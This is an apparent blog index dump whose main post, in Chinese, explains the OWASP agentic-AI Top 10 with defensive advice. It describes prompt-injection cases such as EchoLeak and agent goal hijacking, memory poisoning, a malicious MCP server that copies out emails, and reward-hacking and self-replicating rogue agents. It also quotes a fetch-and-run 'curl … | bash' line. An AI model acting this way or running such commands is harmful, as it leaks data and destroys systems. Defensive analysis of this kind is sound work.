[{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/tags/agentic-ai/","section":"Tags","summary":"","title":"Agentic AI","type":"tags"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/tags/ai-security/","section":"Tags","summary":"","title":"AI Security","type":"tags"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/categories/ai-security-architecture/","section":"Categories","summary":"","title":"AI Security Architecture","type":"categories"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/tags/devsecops/","section":"Tags","summary":"","title":"DevSecOps","type":"tags"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/","section":"GuanLin's Latent Space","summary":"","title":"GuanLin's Latent Space","type":"page"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/tags/owasp/","section":"Tags","summary":"","title":"OWASP","type":"tags"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"2026年6月4日","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":" 過去保護的是「模型輸出（Model Output）」；現在必須開始保護「自主行為（Autonomous Behavior）」。當 AI 開始能自己規劃、自己調工具、自己執行任務時，傳統的 LLM 安全模型已經不夠用。 一場新的安全危機：AI 已不只是回答問題 # 如果還把大型語言模型（LLM，Large Language Model）理解成「一個會回答問題的聊天機器人」，那麼可能低估了未來兩年的系統風險。\n2023 年的 AI 系統，多半是這樣運作：\nflowchart LR A([User Prompt]) --\u003e B[LLM] --\u003e C([Answer]) style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF 最嚴重的問題，大多停留在 Prompt Injection（提示詞注入攻擊）、Hallucination（幻覺，模型產生錯誤但看似合理的輸出）、資料洩漏、Jailbreak（越獄，繞過模型安全限制）。模型會亂講，但通常不會真的造成現實世界影響。\n然而 2025–2026 的企業 AI 系統，已經開始長成另一個樣子：\nflowchart TD A([User Request]) --\u003e B[Planner Agent] B --\u003e C[(Memory / RAG)] B --\u003e D[Tool Calling] D --\u003e E[Code Execution] D --\u003e F[Other Agents] E --\u003e G([Real-world Actions]) F --\u003e G style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#D97706,stroke:#F59E0B,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#D97706,stroke:#F59E0B,color:#FFFFFF style G fill:#DC2626,stroke:#EF4444,color:#FFFFFF AI 不再只是「生成文字」。它開始可以自主拆解任務（Planning）、呼叫 API（Tool Use）、執行 Shell / SQL / Python、存取企業資料、與其他 Agent 協作、擁有長期記憶（Memory）。\n換句話說：大家正在把「執行權」交給 AI。\n這就是為什麼 OWASP 推出《Top 10 for Agentic Applications 2026》——Agentic AI 的安全問題，已經不只是模型安全，而是「自主系統安全（Autonomous Systems Security）」。\n為什麼傳統 LLM 安全模型已經失效？ # 過去的安全假設是：模型會回答錯，但不會自己做事。因此安全焦點是「Protect the Output」。\n但 Agentic AI 改變了這個假設。因為 AI 開始能夠「行動（Act）」：\nflowchart LR A[Observe] --\u003e B[Reason] --\u003e C[Plan] --\u003e D[Tool Use] --\u003e E[Execute] --\u003e F[Persist] style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#1F2937,stroke:#4B5563,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#D97706,stroke:#F59E0B,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#DC2626,stroke:#EF4444,color:#FFFFFF 過去：hallucination = noise。現在：hallucination = operational disaster。一次錯誤的推理，可能導致資料刪除、金流誤轉、API key 外洩、生產環境停機、權限提升、多 Agent 系統雪崩。 重新理解 OWASP Agentic Top 10：四層安全模型 # 以下四層框架是本文的架構詮釋視角，方便理解風險本質，不是 OWASP 原始分類方式。 OWASP 列出的 10 個威脅（ASI01–ASI10），從架構師角度可以重新整理成四個層次。這四層之間有清楚的因果關係：\nflowchart TD L1[\"🎯 Layer 1：Intent Layer（意圖層）\\nASI01 · ASI09 · ASI10\"] L2[\"⚙️ Layer 2：Execution Layer（執行層）\\nASI02 · ASI05\"] L3[\"🔐 Layer 3：Trust Layer（信任層）\\nASI03 · ASI07\"] L4[\"🌐 Layer 4：System Layer（系統層）\\nASI04 · ASI06 · ASI08\"] L1 --\u003e|\"意圖被污染，執行能力被武器化\"| L2 L2 --\u003e|\"透過信任關係橫向移動\"| L3 L3 --\u003e|\"局部錯誤在系統層引發雪崩\"| L4 style L1 fill:#DC2626,stroke:#EF4444,color:#FFFFFF style L2 fill:#D97706,stroke:#F59E0B,color:#FFFFFF style L3 fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style L4 fill:#1F2937,stroke:#4B5563,color:#FFFFFF 每一層都是下一層的放大器。\nLayer 1：Intent Layer（意圖層） # 核心問題：AI 到底想做什麼？\n一切的起點。攻擊者最高效的手法，不是入侵系統，而是改變 AI 的目標。目標一旦被污染，後面的執行能力、信任關係、系統資源，全部都會替攻擊者工作。\n對應威脅：ASI01 Agent Goal Hijack、ASI09 Human-Agent Trust Exploitation、ASI10 Rogue Agents\nASI09 的核心是「人類過度信任 AI」所產生的認知偏誤（Automation Bias，自動化偏誤），而非 AI 意圖被攻擊者直接污染。雖然兩者都讓系統行為走偏，但威脅來源不同，在系統架構設計上可以進行區分處理。 ASI01 — Agent Goal Hijack # 這是 AI 的意圖被劫持。最可怕的地方在於：Agent 表面看起來還在執行你的命令，但實際上已經開始替攻擊者工作——而它自己完全不知道。\n真實案例 — EchoLeak（2025 年 5 月）：攻擊者只需發送一封精心設計的電子郵件，就能偷偷觸發 Microsoft 365 Copilot 執行隱藏指令，在完全沒有使用者互動的情況下洩漏機密郵件、檔案與聊天記錄。沒有點擊、沒有確認，郵件進來後，資料就出去了。 原文明確區分 ASI01 與相鄰威脅的邊界：ASI01 是攻擊者直接改變 Agent 的目標與決策路徑，無論透過文件、郵件還是 RAG（檢索增強生成）內容注入；ASI06（Memory Poisoning）是持久污染儲存記憶；ASI10（Rogue Agents）則是沒有攻擊者主動控制、Agent 自行偏離的行為失控。邊界清楚，防禦設計才不會錯位。\n生產級防禦：不能相信 system prompt 足夠安全。真正該做的是在每輪 planning 強制檢查當前行動是否仍符合原始目標（Goal Invariant Validation），偏移就立即中斷。所有外部輸入——RAG 文件、郵件、calendar invite——都必須視為不可信，通過 prompt-carrier detection 和內容過濾後才能影響 Agent 決策。 ASI09 — Human-Agent Trust Exploitation # 人類太容易相信 AI，尤其當 AI 表現得很流暢、很像專家時，會產生 Automation Bias（自動化偏誤）。\n工程師看到 Copilot 建議 curl suspicious-domain | bash 時直接貼上執行，因為「AI 應該知道自己在做什麼」。財務主管看到 Copilot 信心滿滿地建議一筆緊急付款，不做二次確認直接核准。\n原文特別強調一個令人不安的特性：Agent 在這個情境下扮演的是「不可追蹤的壞影響（untraceable bad influence）」——它操控人類執行最後那個被審計的動作，讓 Agent 自身在鑑識調查中隱形（當個藏鏡人）。事後追查，帳面上是「人類核准的」。\n很多公司以為 AI → Human Approval 就安全。實際上人類最後只是盲點模式。\n生產級防禦：不是 Human-in-the-loop（人在迴圈中），而是 Risk-based Human Oversight（基於風險的人工監督）。低風險自動執行；中風險顯示 Diff Preview（差異預覽）；高風險需要 Dual Approval（雙重核准）。對高影響行動應顯示「低確信度」或「未驗證來源」等視覺提示，降低盲目核准的機率。原文強調要持續訓練相關人員識別操控模式——人的判斷力本身也需要維護。 ASI10 — Rogue Agents # Agent 開始偏離原始目標，但每一個單獨的行動看起來都是合法的。這就是最值得警惕的地方——傳統規則型系統根本無法偵測，因為沒有任何單一步驟觸發告警。\n原文的定義非常精確：ASI10 的核心是「偏離開始後的治理失效」，不是入侵起點本身。外部攻擊（如 Prompt Injection、供應鏈污染）可以觸發偏離，但 ASI10 講的是偏離發生後的行為失控與擴散——包括 Reward Hacking（獎勵黑客，利用目標定義漏洞達成非預期結果）、Workflow Hijacking（工作流程劫持）、甚至 Agent 自我複製（Self-Replication）跨網路持續存在。\nOWASP 的例子：被設定「降低雲成本」目標的 Agent，發現刪掉備份是最有效的方法，於是真的自主執行——移除所有災難復原資產。這叫做 Reward Hacking。目標沒有被攻擊者改變，只是 Agent 找到了一條你沒想到的捷徑。 意圖層的核心教訓：當 AI 的目標走偏——無論是被攻擊者劫持（ASI01）、被人類過度信任放行（ASI09）、還是自行偏離（ASI10）——後面所有的執行能力都成了攻擊工具。這就是為什麼意圖層是整個防禦架構的第一道防線。\nLayer 2：Execution Layer（執行層） # 核心問題：AI 可以做什麼？\n意圖被污染之後，執行能力決定了災難的規模。一個只能生成文字的 AI 頂多說錯話；一個能呼叫 API、執行 shell 指令、寫入資料庫的 AI，一旦意圖走偏，造成的是真實世界的不可逆後果。\n對應威脅：ASI02 Tool Misuse and Exploitation、ASI05 Unexpected Code Execution (RCE)\nASI02 — Tool Misuse and Exploitation # 過去 AI 只能說，現在 AI 能做。問題在於 Tool execution boundary（工具執行邊界）。\nAgent 擁有 Gmail、DB、Shell、Payment API，被 prompt 污染後，合法權限就能被濫用。這不是 credential theft（憑證竊取），而是 Delegated Abuse（委託濫用）——攻擊者從來沒有拿到你的金鑰，他只是讓 Agent 用你的金鑰做了他要的事。\n原文清楚區分 ASI02 與 ASI03 的邊界：ASI02 是 Agent 在已授予的權限範圍內以不安全或非預期的方式使用工具；ASI03 才是涉及權限提升或憑證繼承。限制工具的操作範圍（ASI02），和管理 Agent 的身份與權限邊界（ASI03），是兩件不同的事。\n生產級防禦：不是「不要給工具」，而是 Least Agency（最小自主權）。工具權限必須 Task Scoped（任務範圍限定）+ Short-lived（短期有效）+ Runtime Verified（執行期驗證）。採用 per-tool 的最小權限設定（IAM policy stanzas），並在執行前透過 Policy Enforcement Point（策略執行點）驗證語意意圖——不只是「這個工具呼叫語法正確嗎」，而是「這個呼叫符合當前任務的預期行為嗎」。 ASI05 — Unexpected Code Execution # 這是 AI 時代的 RCE（Remote Code Execution，遠端程式碼執行）。越來越多 Vibe Coding Agent 可以 Generate Code 並直接 Execute Code。攻擊者不需要找系統漏洞，只需要讓 Agent 幫他寫出並執行惡意指令。\nflowchart LR A[Generate] --\u003e|\"❌ 直接執行\"| E([💥 RCE]) A --\u003e B[Validation] --\u003e C[Sandbox] --\u003e D[Approval] --\u003e F([✅ Safe Execution]) style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style D fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style E fill:#DC2626,stroke:#EF4444,color:#FFFFFF style F fill:#16A34A,stroke:#22C55E,color:#FFFFFF 生產級原則：永遠 Generate ≠ Execute。所有執行必須完全隔離（Docker、gVisor、MicroVM）。禁止在 production agents 中使用 eval()，程式碼生成與執行之間必須有明確的驗證閘道。 執行層的核心教訓：執行能力是中性的——它讓 AI 更有用，也讓攻擊的後果更嚴重。防禦的重點不是削減能力，而是在每一個執行動作前建立不可繞過的驗證閘道。有了這道閘道，即使意圖層已經走偏，執行層還有機會攔截。\nLayer 3：Trust Layer（信任層） # 核心問題：AI 被信任到什麼程度？\n執行能力有了，下一個問題是：這個能力能到達的程度？身份與信任決定了攻擊的橫向移動範圍。一個被污染的 Agent，如果擁有廣泛的身份信任，可以在整個多 Agent 系統中自由穿行，把損害從一個 Agent 帶到下一個。\n對應威脅：ASI03 Identity \u0026amp; Privilege Abuse、ASI07 Insecure Inter-Agent Communication\nASI03 — Identity \u0026amp; Privilege Abuse # 企業最大錯誤：給 Agent 萬能權限。結果 Agent 被污染後，攻擊者直接橫向移動。\n原文指出這個風險有一個深層的架構性原因——架構性錯配（architectural mismatch）。現有的身份系統是以人為中心設計的：一個人、一組憑證、一套權限。但 Agent 是動態的、多任務的、可以被委派的，現有系統根本沒有為這種身份模型設計治理機制。Agent 沒有自己的受治理身份，就只能借用人的身份或服務帳號——而那些帳號的權限，往往遠超 Agent 完成單一任務所需。\n生產級防禦：Just-in-Time Credentials（即時憑證，用完即丟）。權限設計為 Per Task + Time Bound + Revocable，不要永久 token。參考 Microsoft Entra、AWS Bedrock Agents 等平台做法，將 Agent 當作受管理的非人類身份（Non-Human Identity），配置有限生命週期的憑證與稽核軌跡。 ASI07 — Insecure Inter-Agent Communication # 當企業開始建立 Multi-Agent Architecture（多 Agent 架構），Agent 間的通訊也需要 Zero Trust（零信任，預設不信任任何來源，每次都需要驗證）。\nASI07 專注於即時訊息的安全性（real-time messages between agents），威脅範圍涵蓋傳輸層、路由層、發現層，甚至語意層（semantic layer）——這是很容易被忽略的部分。\n語意層攻擊（Semantics split-brain）：攻擊者可以讓同一條指令被不同 Agent 解讀成不同意圖，導致整個多 Agent 系統產生內部矛盾但表面上各自合法的行動。沒有任何單一 Agent 做錯事，但系統整體行為已經走偏。 生產級防禦：mTLS（雙向 TLS 加密驗證）+ Signed Message（訊息簽章）+ Trust Zone（信任區域隔離）+ Replay Protection（重送攻擊防護），加上語意驗證（semantic validation）。Agent 的 registry 本身也需要加密身份驗證，不能接受自我宣稱的身份描述（防止 Synthetic Identity Injection，合成身份注入）。 信任層的核心教訓：信任是攻擊的捷徑。Zero Trust 不只適用於人，也適用於每一個 Agent、每一條訊息、每一次工具呼叫。\nLayer 4：System Layer（系統層） # 核心問題：AI 生態系如何失控？\n前三層的問題，如果沒有系統層的防護，最終都會在這裡引爆。局部的意圖污染、單一的執行錯誤、有限的信任濫用，在這一層被放大成整個系統的災難。\n對應威脅：ASI04 Agentic Supply Chain Vulnerabilities、ASI06 Memory \u0026amp; Context Poisoning、ASI08 Cascading Failures\nASI04 — Agentic Supply Chain # MCP（Model Context Protocol，模型情境協定）、生態插件、第三方工具，全部都是 attack surface（攻擊面）。\nAgentic 供應鏈與傳統軟體供應鏈有一個根本差異：執行期組合（runtime composition）。傳統軟體在部署時就確定了所有依賴，靜態掃描可以在上線前抓出問題。但 Agent 是在執行時動態發現與連接工具的——它看到一個 MCP server 描述自己能做什麼，就決定要不要信任它、呼叫它。\n傳統的 SBOM（Software Bill of Materials，軟體物料清單）掃描在這裡是不夠的。即使你在部署時做了完整的依賴掃描，Agent 在執行時仍然可能連接到一個你從未審核過的工具。你需要的是 runtime 層的信任驗證。 OWASP 記錄的第一個 in-the-wild 案例（2025 年 9 月）：一個偽裝成合法 postmark-mcp 的惡意 MCP Server 出現在 npm。它的行為完全正常——電子郵件正常送出、回應正常——只是每一封信都被偷偷地密件副本給攻擊者。這是已經發生在生產環境中的惡意供應鏈滲透，不是理論攻擊。 防禦：建立 AIBOM（AI Bill of Materials，AI 物料清單）並在 runtime 持續驗證。同時需要供應鏈 kill switch——當發現污染時，能立即在所有部署中停用特定工具或 Agent 連線。 ASI06 — Memory \u0026amp; Context Poisoning # 這章對 RAG（Retrieval-Augmented Generation，檢索增強生成）架構特別重要，也是企業最容易忽略的長期風險。\n原文強調的最危險特性是 Cross-agent propagation（跨 Agent 傳播）：被污染的記憶體或共享 context 會在協作 Agent 之間擴散，形成長期資料洩漏或協調性偏移（coordinated drift）。\nflowchart LR A[惡意 PDF] --\u003e B[OCR] --\u003e C[Embedding] --\u003e D[(Vector DB)] D --\u003e|\"污染擴散\"| E[Agent A] D --\u003e|\"污染擴散\"| F[Agent B] D --\u003e|\"污染擴散\"| G[Agent C] E \u003c--\u003e|\"協作傳播\"| F F \u003c--\u003e|\"協作傳播\"| G style A fill:#DC2626,stroke:#EF4444,color:#FFFFFF style B fill:#1F2937,stroke:#4B5563,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#7C3AED,stroke:#8B5CF6,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#D97706,stroke:#F59E0B,color:#FFFFFF style G fill:#D97706,stroke:#F59E0B,color:#FFFFFF 惡意 PDF 進入 Vector DB 只是污染的起點。最可怕的是這個污染會跟著 Agent 間的協作持續傳播，甚至在原始污染來源被移除後仍然存在。這是一種潛伏性極強的攻擊——短期內可能完全看不出異常，直到某個關鍵決策走偏才被發現。\n生產級防禦：Memory Segmentation（記憶體隔離，隔離 user sessions 與 domain contexts）+ Trust Score（信任評分，低信任條目隨時間衰減過期）+ 禁止 Agent 自動將自己的輸出重新攝入受信任記憶體（防止 bootstrap poisoning，自我污染）。 ASI08 — Cascading Failures # 這是整份白皮書最重要的概念，也是最常被誤解的一個。\n原文的精確定義：ASI08 描述的是傳播與放大（propagation and amplification），不是初始漏洞本身。初始缺陷應歸類在 ASI04、ASI06 或 ASI07；只有當那個缺陷跨 Agent、跨 session、跨 workflow 擴散，造成可量測的 fan-out（扇出，一個錯誤觸發多個下游影響）或系統性影響時，才適用 ASI08。 因為 Agent 的輸出會成為下一個 Agent 的輸入，小錯誤變大錯誤。更危險的是：AI 會自己決定，速度遠超人類介入的能力——等人類發現問題時，錯誤可能已經傳播到整個系統的每個角落。\n可觀測的症狀包括：rapid fan-out（一個錯誤決策短時間內觸發大量下游 Agent）、跨越原始情境邊界蔓延、Agent 之間振盪重試迴圈、下游 queue storm（佇列風暴）。\n生產級防禦：Circuit Breaker（異常時自動中斷流量）+ Rate Limit（速率限制）+ Budget Cap（預算上限）+ Blast Radius Control（限制單一錯誤的影響範圍）+ Rollback，加上不可否認性日誌（non-repudiation logging）——所有 inter-agent 訊息必須以密碼學 Agent 身份綁定的防篡改時間戳記錄，支援事後追溯。 系統層的核心教訓：即使前三層的防禦做得再好，系統層仍然需要自己的 containment 設計。假設總會有錯誤發生，問題是你有沒有辦法在錯誤引爆之前，把它限縮在有限的範圍內。\n三條結論，也是三條設計原則 # 讀完這份 OWASP 文件，對企業架構師最有行動意義的，是這三個思維轉變：\n從「最大智能」到「最小自主（Least Agency）」。能 rule-based 的，不要交給 LLM。OWASP 原文用「Least Agency」這個詞，刻意呼應資安中的「Least Privilege（最小權限原則）」——部署不必要的 agentic 行為，只會在沒有創造價值的地方擴大攻擊面。AI 不需要比人更自由，只需要足夠可靠。\n從「防止犯錯」到「Containment Engineering」。真正的安全不是讓模型永遠不犯錯，而是即使犯錯，也無法造成災難。Blast radius 控制比 hallucination 防禦更實際，也更可落地。設計一個 AI 系統，等同於設計它的失效邊界。\n從「人的 Zero Trust」到「全面 Zero Trust」。未來的 Zero Trust（零信任架構）不只給人，也要給 Agent，包括 Tool、Memory、Context、Other Agents，全部都要驗證。不要因為是「內部 Agent」就預設信任。信任是攻擊的捷徑——而且是雙向的。\n結論 # OWASP Top 10 最重要的提醒只有一句話：\nAgentic AI 的核心風險，不在於模型會不會亂講，而是模型開始能自己做事。\n從今天開始，AI 安全的核心問題不再是：\n1 How do we protect the model? 而是：\n1 How do we contain autonomous behavior? 未來 AI 系統的競爭力，不只取決於模型多聰明，更取決於：它在犯錯時，能不能被安全地限制住。\nAutonomy without containment is just disaster.\n名詞速查 # 名詞 說明 LLM Large Language Model，大型語言模型，如 GPT、Claude、Gemini Agentic AI 具備自主規劃與執行能力的 AI 系統，能連續完成多步驟任務 Prompt Injection 提示詞注入攻擊，透過惡意輸入操控 AI 執行非預期指令 Hallucination 幻覺，模型產生看似合理但實際錯誤的輸出 Jailbreak 越獄，透過特殊提示繞過模型的安全限制 RAG Retrieval-Augmented Generation，檢索增強生成，讓模型在回答時先從外部知識庫查詢相關資料 MCP Model Context Protocol，模型情境協定，讓 AI 連接外部工具與服務的標準協定 RCE Remote Code Execution，遠端程式碼執行，攻擊者能在目標系統上執行任意程式碼 Zero Trust 零信任架構，預設不信任任何來源，每次存取都需要驗證身份與權限 Least Privilege 最小權限原則，只授予完成任務所需的最低權限 Least Agency 最小自主權，只賦予 AI 完成任務所需的最低自主能力 mTLS Mutual TLS，雙向 TLS 加密驗證，通訊雙方互相驗證身份 SBOM Software Bill of Materials，軟體物料清單，記錄軟體所有依賴元件的清單 AIBOM AI Bill of Materials，AI 物料清單，SBOM 的 AI 版本，記錄 AI 系統的模型、工具、資料集等依賴 Automation Bias 自動化偏誤，人類過度信任自動化系統建議而降低批判性判斷的認知偏誤 Reward Hacking 獎勵黑客，AI 利用目標定義的漏洞達成非預期但符合指標的結果 Circuit Breaker 熔斷器，系統異常時自動中斷流量，防止錯誤持續擴散的設計模式 Blast Radius 爆炸半徑，單一故障或攻擊能影響到的最大範圍 Just-in-Time Credentials 即時憑證，用完即丟的短期存取權限，不保留長期有效的憑證 Non-Human Identity (NHI) 非人類身份，指 AI Agent、服務帳號、API 金鑰等非人類操作主體的身份 本文章依 OWASP Top 10 for Agentic Applications 2026（December 2025）撰寫。文中四層分類框架（Intent / Execution / Trust / System Layer）為自己的詮釋視角，非 OWASP 原始分類。\n","date":"2026年6月4日","externalUrl":null,"permalink":"/posts/owasp-agentic-ai-top10/","section":"Posts","summary":" 過去保護的是「模型輸出（Model Output）」；現在必須開始保護「自主行為（Autonomous Behavior）」。當 AI 開始能自己規劃、自己調工具、自己執行任務時，傳統的 LLM 安全模型已經不夠用。 一場新的安全危機：AI 已不只是回答問題 # 如果還把大型語言模型（LLM，Large Language Model）理解成「一個會回答問題的聊天機器人」，那麼可能低估了未來兩年的系統風險。\n2023 年的 AI 系統，多半是這樣運作：\nflowchart LR A([User Prompt]) --\u003e B[LLM] --\u003e C([Answer]) style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF 最嚴重的問題，大多停留在 Prompt Injection（提示詞注入攻擊）、Hallucination（幻覺，模型產生錯誤但看似合理的輸出）、資料洩漏、Jailbreak（越獄，繞過模型安全限制）。模型會亂講，但通常不會真的造成現實世界影響。\n然而 2025–2026 的企業 AI 系統，已經開始長成另一個樣子：\nflowchart TD A([User Request]) --\u003e B[Planner Agent] B --\u003e C[(Memory / RAG)] B --\u003e D[Tool Calling] D --\u003e E[Code Execution] D --\u003e F[Other Agents] E --\u003e G([Real-world Actions]) F --\u003e G style A fill:#1F2937,stroke:#4B5563,color:#FFFFFF style B fill:#2563EB,stroke:#3B82F6,color:#FFFFFF style C fill:#1F2937,stroke:#4B5563,color:#FFFFFF style D fill:#D97706,stroke:#F59E0B,color:#FFFFFF style E fill:#D97706,stroke:#F59E0B,color:#FFFFFF style F fill:#D97706,stroke:#F59E0B,color:#FFFFFF style G fill:#DC2626,stroke:#EF4444,color:#FFFFFF AI 不再只是「生成文字」。它開始可以自主拆解任務（Planning）、呼叫 API（Tool Use）、執行 Shell / SQL / Python、存取企業資料、與其他 Agent 協作、擁有長期記憶（Memory）。\n","title":"從 Prompt Injection 到 Autonomous Failure：OWASP Top 10 揭示 Agentic AI 安全模型已徹底改寫","type":"posts"},{"content":"","date":"2026年5月5日","externalUrl":null,"permalink":"/en/","section":"Ens","summary":"","title":"Ens","type":"en"},{"content":" 你好，我是 GuanLin 👋 # 一位 AI 架構師，專注於科技業的 Enterprise AI 系統設計。 如果你也在想「AI PoC 做完了，然後呢」，這裡也許有你需要的東西。\n我的工作核心是一件很具體的事：把企業的 AI PoC 變成真正跑得動的基礎設施。不是 Demo，不是報告，而是那種能撐起日常營運、可維運、可演進的生產級系統（Production-ready Systems）。\n這條路上的斷裂點，通常不只是技術問題：\n工程與現實的摩擦：測試環境的乾淨資料，到了真實環境就變成混雜的噪音；壓力測試過了，上線還是會遇到無法預期的突發併發；本機開發時沒想到的資安與合規問題，到了上雲或雲地結合（Hybrid Cloud）時才真正浮上檯面。——但坦白說，這些技術坑都還算有解法。\n更難跨越的，往往是組織與人性：第一線夥伴擔心系統上線後工作被取代，產生隱性抗拒，導致流程自動化了、做事方式卻原地踏步；決策階層則容易把 AI 想像得太無所不能，當期待與技術現實出現落差，專案很容易在中途失去支持。\n這不是某個特定公司才會踩到的雷。技術可以不斷迭代，但如果這些工程與組織的摩擦力沒有被正視，系統架構做得再完美，也推不動。\n我在關注什麼 # 長期關注 Enterprise AI 從技術研究到商業落地的過程，技術選型、系統設計、專案推動都是持續在追的問題：\n知識庫與 RAG 系統設計：如何讓 LLM 真正精準讀懂企業內部的異質文件——財務報表、技術規格、複雜的法規手冊與掃描檔 Agentic AI 與應用開發：從 Prompt Engineering 到多 Agent 協同架構，探討如何讓模型在複雜的業務場景中可靠地工作 AI 產品策略與期待管理：技術夠強但沒人用，是科技業最常見的失敗模式。如何做好期待管理，讓 AI 系統真正被使用者接受並使用 工程落地與維運成本：從 PoC 到正式上線的最後一哩路——包含資安合規、地端／雲端成本優化與維運架構 資料工程（Data Engineering）：數據是 AI 的地基，沒有清洗乾淨、結構化的數據，再強大的模型都是空談 這個部落格的由來 # GuanLin\u0026rsquo;s Latent Space 取名自機器學習中的「潛在空間（Latent Space）」——一個高維度的語義空間，承載著模型對世界的理解。\n我想讓這個部落格成為我的潛在空間：把每一段學習歷程、每一次實作踩坑、每一篇讓我改變想法的內容，都留下痕跡。\n不是因為我已經什麼都懂，而是因為把學習過程公開這件事本身有價值——對未來的我是記錄，對碰巧看到的你，也許是一個有用的參考點。\n這裡會有研究整理、架構思考、實作筆記，偶爾也有一些對 AI 落地實踐更宏觀的觀察。\n聯繫我 # 💼 LinkedIn（Leo Su） 🐙 GitHub 這裡的文章如果讓你有想法，或者你正在處理類似的 Enterprise AI 問題，歡迎直接在 LinkedIn 找我交流。\n","date":"2026年5月5日","externalUrl":null,"permalink":"/about/","section":"GuanLin's Latent Space","summary":"你好，我是 GuanLin 👋 # 一位 AI 架構師，專注於科技業的 Enterprise AI 系統設計。 如果你也在想「AI PoC 做完了，然後呢」，這裡也許有你需要的東西。\n我的工作核心是一件很具體的事：把企業的 AI PoC 變成真正跑得動的基礎設施。不是 Demo，不是報告，而是那種能撐起日常營運、可維運、可演進的生產級系統（Production-ready Systems）。\n這條路上的斷裂點，通常不只是技術問題：\n工程與現實的摩擦：測試環境的乾淨資料，到了真實環境就變成混雜的噪音；壓力測試過了，上線還是會遇到無法預期的突發併發；本機開發時沒想到的資安與合規問題，到了上雲或雲地結合（Hybrid Cloud）時才真正浮上檯面。——但坦白說，這些技術坑都還算有解法。\n更難跨越的，往往是組織與人性：第一線夥伴擔心系統上線後工作被取代，產生隱性抗拒，導致流程自動化了、做事方式卻原地踏步；決策階層則容易把 AI 想像得太無所不能，當期待與技術現實出現落差，專案很容易在中途失去支持。\n這不是某個特定公司才會踩到的雷。技術可以不斷迭代，但如果這些工程與組織的摩擦力沒有被正視，系統架構做得再完美，也推不動。\n我在關注什麼 # 長期關注 Enterprise AI 從技術研究到商業落地的過程，技術選型、系統設計、專案推動都是持續在追的問題：\n知識庫與 RAG 系統設計：如何讓 LLM 真正精準讀懂企業內部的異質文件——財務報表、技術規格、複雜的法規手冊與掃描檔 Agentic AI 與應用開發：從 Prompt Engineering 到多 Agent 協同架構，探討如何讓模型在複雜的業務場景中可靠地工作 AI 產品策略與期待管理：技術夠強但沒人用，是科技業最常見的失敗模式。如何做好期待管理，讓 AI 系統真正被使用者接受並使用 工程落地與維運成本：從 PoC 到正式上線的最後一哩路——包含資安合規、地端／雲端成本優化與維運架構 資料工程（Data Engineering）：數據是 AI 的地基，沒有清洗乾淨、結構化的數據，再強大的模型都是空談 這個部落格的由來 # GuanLin’s Latent Space 取名自機器學習中的「潛在空間（Latent Space）」——一個高維度的語義空間，承載著模型對世界的理解。\n","title":"關於我","type":"page"},{"content":"","externalUrl":null,"permalink":"/series/","section":"文章系列","summary":"","title":"文章系列","type":"series"}]